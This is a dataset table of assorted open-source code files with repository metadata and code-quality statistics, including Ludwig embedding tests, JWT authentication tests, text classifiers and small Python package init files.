hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a4fe102833b7e4aa58489d37c1bb75055a8af0a1 | 3,093 | py | Python | tests/ludwig/modules/test_embedding_modules.py | dantreiman/ludwig | daeffd21f9eef524afb2037763abd07a93228c2a | [
"Apache-2.0"
] | 7,739 | 2019-02-11T14:06:31.000Z | 2020-12-16T18:30:29.000Z | tests/ludwig/modules/test_embedding_modules.py | dantreiman/ludwig | daeffd21f9eef524afb2037763abd07a93228c2a | [
"Apache-2.0"
] | 769 | 2019-02-11T16:13:20.000Z | 2020-12-16T17:26:11.000Z | tests/ludwig/modules/test_embedding_modules.py | dantreiman/ludwig | daeffd21f9eef524afb2037763abd07a93228c2a | [
"Apache-2.0"
] | 975 | 2019-02-11T15:55:54.000Z | 2020-12-14T21:45:39.000Z | from typing import List
import pytest
import torch
from ludwig.modules.embedding_modules import Embed, EmbedSequence, EmbedSet, EmbedWeighted, TokenAndPositionEmbedding
DEVICE = "cuda" if torch.cuda.is_available() else "cpu"
@pytest.mark.parametrize("vocab", [["a", "b", "c"]])
@pytest.mark.parametrize("embedding_s... | 31.886598 | 120 | 0.674749 | 367 | 3,093 | 5.564033 | 0.171662 | 0.127326 | 0.154261 | 0.063663 | 0.841332 | 0.808031 | 0.79334 | 0.79334 | 0.79334 | 0.58619 | 0 | 0.014275 | 0.161979 | 3,093 | 96 | 121 | 32.21875 | 0.773534 | 0 | 0 | 0.722892 | 0 | 0 | 0.080181 | 0 | 0 | 0 | 0 | 0 | 0.060241 | 1 | 0.060241 | false | 0 | 0.048193 | 0 | 0.108434 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
35297132a1d896ea62cf9a0ec1e921e93f7497f3 | 42 | py | Python | src/colorunittest/__init__.py | HilarieSit/colorunittest | dc64293f12f2b9248d8fa969f4a4701ff776ddac | [
"MIT"
] | null | null | null | src/colorunittest/__init__.py | HilarieSit/colorunittest | dc64293f12f2b9248d8fa969f4a4701ff776ddac | [
"MIT"
] | null | null | null | src/colorunittest/__init__.py | HilarieSit/colorunittest | dc64293f12f2b9248d8fa969f4a4701ff776ddac | [
"MIT"
] | null | null | null | from colorunittest.color_unittest import * | 42 | 42 | 0.880952 | 5 | 42 | 7.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 42 | 1 | 42 | 42 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
3538b1167e6d8d1b71b5866226d55a2c32feb395 | 9,911 | py | Python | scripts/upgrade/sdn_topo_with_multi_project.py | rombie/contrail-test | a68c71d6f282142501a7e2e889bbb232fdd82dc3 | [
"Apache-2.0"
] | null | null | null | scripts/upgrade/sdn_topo_with_multi_project.py | rombie/contrail-test | a68c71d6f282142501a7e2e889bbb232fdd82dc3 | [
"Apache-2.0"
] | null | null | null | scripts/upgrade/sdn_topo_with_multi_project.py | rombie/contrail-test | a68c71d6f282142501a7e2e889bbb232fdd82dc3 | [
"Apache-2.0"
] | null | null | null | '''*******AUTO-GENERATED TOPOLOGY*********'''
class sdn_topo_with_multi_project ():
def __init__(self, domain='default-domain'):
print "building dynamic topo"
self.project_list = ['project1', 'project2', 'project3']
self.vm_node_map = {}
# end __init__
def build_topo_project1(sel... | 43.091304 | 143 | 0.545959 | 1,132 | 9,911 | 4.573322 | 0.15106 | 0.006954 | 0.032451 | 0.034769 | 0.775739 | 0.744447 | 0.729187 | 0.674908 | 0.674908 | 0.654047 | 0 | 0.034966 | 0.301685 | 9,911 | 229 | 144 | 43.279476 | 0.713047 | 0.168298 | 0 | 0.59854 | 1 | 0 | 0.321336 | 0.035745 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.080292 | 0.029197 | null | null | 0.058394 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
10320f402e0ae6667e47e299700be6613cb14b7c | 197 | py | Python | codes_/0561_Array_Partition_I.py | SaitoTsutomu/leetcode | 4656d66ab721a5c7bc59890db9a2331c6823b2bf | [
"MIT"
] | null | null | null | codes_/0561_Array_Partition_I.py | SaitoTsutomu/leetcode | 4656d66ab721a5c7bc59890db9a2331c6823b2bf | [
"MIT"
] | null | null | null | codes_/0561_Array_Partition_I.py | SaitoTsutomu/leetcode | 4656d66ab721a5c7bc59890db9a2331c6823b2bf | [
"MIT"
] | null | null | null | # %% [561. Array Partition I](https://leetcode.com/problems/array-partition-i/)
class Solution:
def arrayPairSum(self, nums: List[int]) -> int:
return sum(i for i in sorted(nums)[::2])
| 39.4 | 79 | 0.659898 | 29 | 197 | 4.482759 | 0.758621 | 0.215385 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024242 | 0.162437 | 197 | 4 | 80 | 49.25 | 0.763636 | 0.390863 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 6 |
105988e7148d4da4ae21dfcc1ad79f534a0b4685 | 207 | py | Python | office365/onedrive/permissions/sharing_invitation.py | rikeshtailor/Office365-REST-Python-Client | ca7bfa1b22212137bb4e984c0457632163e89a43 | [
"MIT"
] | 544 | 2016-08-04T17:10:16.000Z | 2022-03-31T07:17:20.000Z | office365/onedrive/permissions/sharing_invitation.py | rikeshtailor/Office365-REST-Python-Client | ca7bfa1b22212137bb4e984c0457632163e89a43 | [
"MIT"
] | 438 | 2016-10-11T12:24:22.000Z | 2022-03-31T19:30:35.000Z | office365/onedrive/permissions/sharing_invitation.py | rikeshtailor/Office365-REST-Python-Client | ca7bfa1b22212137bb4e984c0457632163e89a43 | [
"MIT"
] | 202 | 2016-08-22T19:29:40.000Z | 2022-03-30T20:26:15.000Z | from office365.runtime.client_value import ClientValue
class SharingInvitation(ClientValue):
"""The SharingInvitation resource groups invitation-related data items into a single structure."""
pass
| 29.571429 | 102 | 0.801932 | 23 | 207 | 7.173913 | 0.913043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01676 | 0.135266 | 207 | 6 | 103 | 34.5 | 0.905028 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
109d266373dbd182e815ed94086d50c411542426 | 173 | py | Python | missionaries_and_cannibals/__init__.py | shyammarjit/missionaries-and-cannibals | 2a9563b292b9e3db009dbc495d464597b7f4b00d | [
"MIT"
] | 17 | 2019-01-30T16:24:00.000Z | 2022-02-28T09:50:05.000Z | missionaries_and_cannibals/__init__.py | shyammarjit/missionaries-and-cannibals | 2a9563b292b9e3db009dbc495d464597b7f4b00d | [
"MIT"
] | null | null | null | missionaries_and_cannibals/__init__.py | shyammarjit/missionaries-and-cannibals | 2a9563b292b9e3db009dbc495d464597b7f4b00d | [
"MIT"
] | 8 | 2018-04-28T17:17:24.000Z | 2022-03-16T16:40:07.000Z | from .missionaries_and_cannibals import MissionariesAndCannibals
from .state import State
from .state_constants import GOAL_STATE
from .state_constants import INITIAL_STATE
| 34.6 | 64 | 0.884393 | 22 | 173 | 6.681818 | 0.454545 | 0.183673 | 0.190476 | 0.312925 | 0.394558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092486 | 173 | 4 | 65 | 43.25 | 0.936306 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
52a1640e675012a648048141f2c89a335cf33289 | 43 | py | Python | pydantic_cloud/__init__.py | gabicavalcante/pydantic-cloud-settings | 98356c8b41c6dffa455db3be20a8114d38ab35a0 | [
"MIT"
] | 2 | 2021-04-05T20:59:34.000Z | 2021-09-24T13:10:14.000Z | pydantic_cloud/__init__.py | gabicavalcante/pydantic-cloud-settings | 98356c8b41c6dffa455db3be20a8114d38ab35a0 | [
"MIT"
] | 1 | 2021-04-01T10:48:25.000Z | 2021-04-01T10:48:25.000Z | pydantic_cloud/__init__.py | gabicavalcante/pydantic-cloud-settings | 98356c8b41c6dffa455db3be20a8114d38ab35a0 | [
"MIT"
] | 1 | 2021-03-17T12:26:51.000Z | 2021-03-17T12:26:51.000Z | from .gcp import GoogleCloudSecretSettings
| 21.5 | 42 | 0.883721 | 4 | 43 | 9.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093023 | 43 | 1 | 43 | 43 | 0.974359 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
52a8cd3efac98c50ef0a7068022951e7ccd390f8 | 49 | py | Python | src/mm/__init__.py | hkimaf/unixmd | 616634c720d0589fd600e3268afab9da957e18bb | [
"MIT"
] | 9 | 2021-04-18T08:03:50.000Z | 2022-03-22T03:29:54.000Z | src/mm/__init__.py | hkimaf/unixmd | 616634c720d0589fd600e3268afab9da957e18bb | [
"MIT"
] | 23 | 2021-04-14T08:43:02.000Z | 2022-03-31T10:26:42.000Z | src/mm/__init__.py | hkimaf/unixmd | 616634c720d0589fd600e3268afab9da957e18bb | [
"MIT"
] | 16 | 2021-04-14T05:59:45.000Z | 2022-02-02T03:05:23.000Z | from mm import tinker
from .tinker import Tinker
| 16.333333 | 26 | 0.816327 | 8 | 49 | 5 | 0.5 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163265 | 49 | 2 | 27 | 24.5 | 0.97561 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
52b21ffbf8e4b7175ad17628934c4bbb4c83402e | 43 | py | Python | episodes/models/__init__.py | seanpierce/introtorhythm.com | fbf52f7f67a5f02527d8eb2b4f01942685b952b1 | [
"MIT"
] | 3 | 2019-07-10T00:50:20.000Z | 2021-05-04T02:34:31.000Z | episodes/models/__init__.py | seanpierce/introtorhythm.com | fbf52f7f67a5f02527d8eb2b4f01942685b952b1 | [
"MIT"
] | 8 | 2019-01-29T23:44:28.000Z | 2021-06-10T17:49:27.000Z | episodes/models/__init__.py | seanpierce/introtorhythm.com | fbf52f7f67a5f02527d8eb2b4f01942685b952b1 | [
"MIT"
] | null | null | null | from episodes.models.episode import Episode | 43 | 43 | 0.883721 | 6 | 43 | 6.333333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069767 | 43 | 1 | 43 | 43 | 0.95 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
eac63c54f1ecd040bfe70630b95499abdd508ccb | 11,488 | py | Python | exp_qd2.py | tarik/pi-snm-qde | 61b0d60b5e7a56454d313693c2d1a9694879f1dc | [
"MIT"
] | 8 | 2020-08-05T18:02:20.000Z | 2022-03-16T17:41:13.000Z | exp_qd2.py | tarik/pi-snm-qde | 61b0d60b5e7a56454d313693c2d1a9694879f1dc | [
"MIT"
] | 1 | 2021-05-17T15:43:22.000Z | 2021-07-12T20:29:12.000Z | exp_qd2.py | tarik/pi-snm-qde | 61b0d60b5e7a56454d313693c2d1a9694879f1dc | [
"MIT"
] | 1 | 2021-12-10T12:20:24.000Z | 2021-12-10T12:20:24.000Z | #!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
Experiments with the original quality-driven ensembles (SEM-QD).
"""
from neural_pi.estimator.base import Randomness
from neural_pi.experiment import Experiment
from neural_pi.pipeline import DefaultPipeline
from neural_pi.data import FileDataset, ShuffledDataset
from neu... | 26.109091 | 80 | 0.500696 | 1,174 | 11,488 | 4.672913 | 0.13799 | 0.022785 | 0.021874 | 0.039373 | 0.800766 | 0.779985 | 0.775428 | 0.711265 | 0.694495 | 0.653117 | 0 | 0.058799 | 0.38414 | 11,488 | 439 | 81 | 26.168565 | 0.716608 | 0.052751 | 0 | 0.761307 | 0 | 0 | 0.044483 | 0.022196 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035176 | false | 0 | 0.012563 | 0.005025 | 0.052764 | 0.027638 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d83a0a5f9bf9310157ac1dc40a9b73198de1bf8b | 157 | py | Python | bamin-Stock-Site/stocksite/baminStockSite/admin.py | bamin0422/stock-chatbot | abc21a036177111b0cdf9d24ecd760c3f09ee386 | [
"MIT"
] | 2 | 2020-04-26T12:54:53.000Z | 2020-05-15T09:59:26.000Z | bamin-Stock-Site/stocksite/baminStockSite/admin.py | bamin0422/stock-chatbot | abc21a036177111b0cdf9d24ecd760c3f09ee386 | [
"MIT"
] | 4 | 2020-04-25T09:05:09.000Z | 2020-05-01T20:32:24.000Z | bamin-Stock-Site/stocksite/baminStockSite/admin.py | bamin0422/stock-chatbot | abc21a036177111b0cdf9d24ecd760c3f09ee386 | [
"MIT"
] | 1 | 2020-04-25T09:03:08.000Z | 2020-04-25T09:03:08.000Z | from django.contrib import admin
from .models import *
admin.site.register(StockCommunity)
admin.site.register(StockNews)
admin.site.register(SpecialStock)
| 22.428571 | 35 | 0.828025 | 20 | 157 | 6.5 | 0.55 | 0.207692 | 0.392308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076433 | 157 | 6 | 36 | 26.166667 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
dc2501a00fe385b6fbd40b34070d374e8f59eeb9 | 107 | py | Python | modules/app/schemas/__init__.py | uwrit/kpmp_user_portal | d20ce6290a0ad64f63a6f043bf6ff061b4968953 | [
"BSD-3-Clause"
] | 1 | 2019-07-09T17:14:40.000Z | 2019-07-09T17:14:40.000Z | modules/app/schemas/__init__.py | uwrit/kpmp-user-portal | d20ce6290a0ad64f63a6f043bf6ff061b4968953 | [
"BSD-3-Clause"
] | 7 | 2019-03-17T02:19:21.000Z | 2019-03-29T15:11:53.000Z | modules/app/schemas/__init__.py | uwrit/kpmp_user_portal | d20ce6290a0ad64f63a6f043bf6ff061b4968953 | [
"BSD-3-Clause"
] | null | null | null | from .user import validate_user
from .client import validate_client
from .organization import validate_org
| 26.75 | 38 | 0.859813 | 15 | 107 | 5.933333 | 0.466667 | 0.47191 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11215 | 107 | 3 | 39 | 35.666667 | 0.936842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dc26963014066ad60bc25fda4d3bc6002991a0f4 | 19,752 | py | Python | sources/classificators.py | KamilGos/text-theme-classification | b969d2482c0b68ae03f49fac63ea2cb21c7aa070 | [
"MIT"
] | null | null | null | sources/classificators.py | KamilGos/text-theme-classification | b969d2482c0b68ae03f49fac63ea2cb21c7aa070 | [
"MIT"
] | null | null | null | sources/classificators.py | KamilGos/text-theme-classification | b969d2482c0b68ae03f49fac63ea2cb21c7aa070 | [
"MIT"
] | null | null | null | from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score, confusion_matrix
from sklearn import linear_model, naive_bayes, svm, ensemble
from matplotlib import pyplot as plt
import seaborn as sns
from time import time
from sklearn.model_selection import cross_val_score
from ... | 51.4375 | 120 | 0.582726 | 2,790 | 19,752 | 3.872043 | 0.063441 | 0.016662 | 0.043044 | 0.033324 | 0.850504 | 0.826622 | 0.805332 | 0.791262 | 0.758678 | 0.756457 | 0 | 0.022433 | 0.261999 | 19,752 | 383 | 121 | 51.571802 | 0.718666 | 0.001063 | 0 | 0.699717 | 0 | 0 | 0.152967 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.016997 | false | 0 | 0.031161 | 0 | 0.050992 | 0.172805 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dc4d272f5f0f34ca4d4578636a3a077fbcee39f1 | 1,462 | py | Python | test/python/spl/tests/ops_dill.py | Jaimie-Jin1/streamsx.topology | 6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08 | [
"Apache-2.0"
] | 31 | 2015-06-24T06:21:14.000Z | 2020-08-28T21:45:50.000Z | test/python/spl/tests/ops_dill.py | Jaimie-Jin1/streamsx.topology | 6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08 | [
"Apache-2.0"
] | 1,203 | 2015-06-15T02:11:49.000Z | 2021-03-22T09:47:54.000Z | test/python/spl/tests/ops_dill.py | Jaimie-Jin1/streamsx.topology | 6f316ec8e9ed1349c6f061d9bb7d03deb87e3d08 | [
"Apache-2.0"
] | 53 | 2015-05-28T21:14:16.000Z | 2021-12-23T12:58:59.000Z | # coding=utf-8
# Licensed Materials - Property of IBM
# Copyright IBM Corp. 2018
from streamsx.spl import spl
@spl.filter()
class F1(object):
def __init__(self, v):
self.c = 0
self.v = v
def __call__(self, *tuple_):
self.c += 1
return tuple_[0] < self.v
@spl.filter()
class F2(... | 19.236842 | 46 | 0.515048 | 209 | 1,462 | 3.253589 | 0.200957 | 0.154412 | 0.079412 | 0.15 | 0.75 | 0.714706 | 0.714706 | 0.641176 | 0.641176 | 0.641176 | 0 | 0.035052 | 0.336525 | 1,462 | 75 | 47 | 19.493333 | 0.665979 | 0.050616 | 0 | 0.773585 | 0 | 0 | 0.004335 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.283019 | false | 0 | 0.018868 | 0.056604 | 0.54717 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
dc750e0c3bf8b34a74578e4e4255bd77c86a6435 | 6,668 | py | Python | tests/test_auth_by_token.py | weh/mod_authnz_jwt | e5ed87b4924dde1a887e7f0b57044409dff17d66 | [
"Apache-2.0"
] | null | null | null | tests/test_auth_by_token.py | weh/mod_authnz_jwt | e5ed87b4924dde1a887e7f0b57044409dff17d66 | [
"Apache-2.0"
] | null | null | null | tests/test_auth_by_token.py | weh/mod_authnz_jwt | e5ed87b4924dde1a887e7f0b57044409dff17d66 | [
"Apache-2.0"
] | null | null | null | import time
import unittest
import json
from test_jwt import TestJWT
class TestAuthByToken(TestJWT):
@TestJWT.with_all_algorithms()
def test_login_with_urlencoded_should_success(self, alg, public_key, private_key, secured_url, login_url):
code, content, headers = self.http_post(login_url, {
... | 57.982609 | 120 | 0.619226 | 832 | 6,668 | 4.739183 | 0.108173 | 0.046158 | 0.072534 | 0.066954 | 0.896272 | 0.896272 | 0.880548 | 0.860512 | 0.860512 | 0.859498 | 0 | 0.016604 | 0.241302 | 6,668 | 114 | 121 | 58.491228 | 0.762799 | 0.016047 | 0 | 0.616162 | 0 | 0 | 0.147476 | 0.047735 | 0 | 0 | 0 | 0 | 0.171717 | 1 | 0.111111 | false | 0.020202 | 0.040404 | 0 | 0.161616 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dc826ee5cb887d16d516c941e27dd8b805b6df83 | 47 | py | Python | src/ur_online_control/ur_direct/__init__.py | createchaos/ur_online_control_speckle | 22b0ec6b7ffa2c74b55dd214e7b854bec9922ccb | [
"MIT"
] | null | null | null | src/ur_online_control/ur_direct/__init__.py | createchaos/ur_online_control_speckle | 22b0ec6b7ffa2c74b55dd214e7b854bec9922ccb | [
"MIT"
] | null | null | null | src/ur_online_control/ur_direct/__init__.py | createchaos/ur_online_control_speckle | 22b0ec6b7ffa2c74b55dd214e7b854bec9922ccb | [
"MIT"
] | null | null | null | from .structure import *
from .common import *
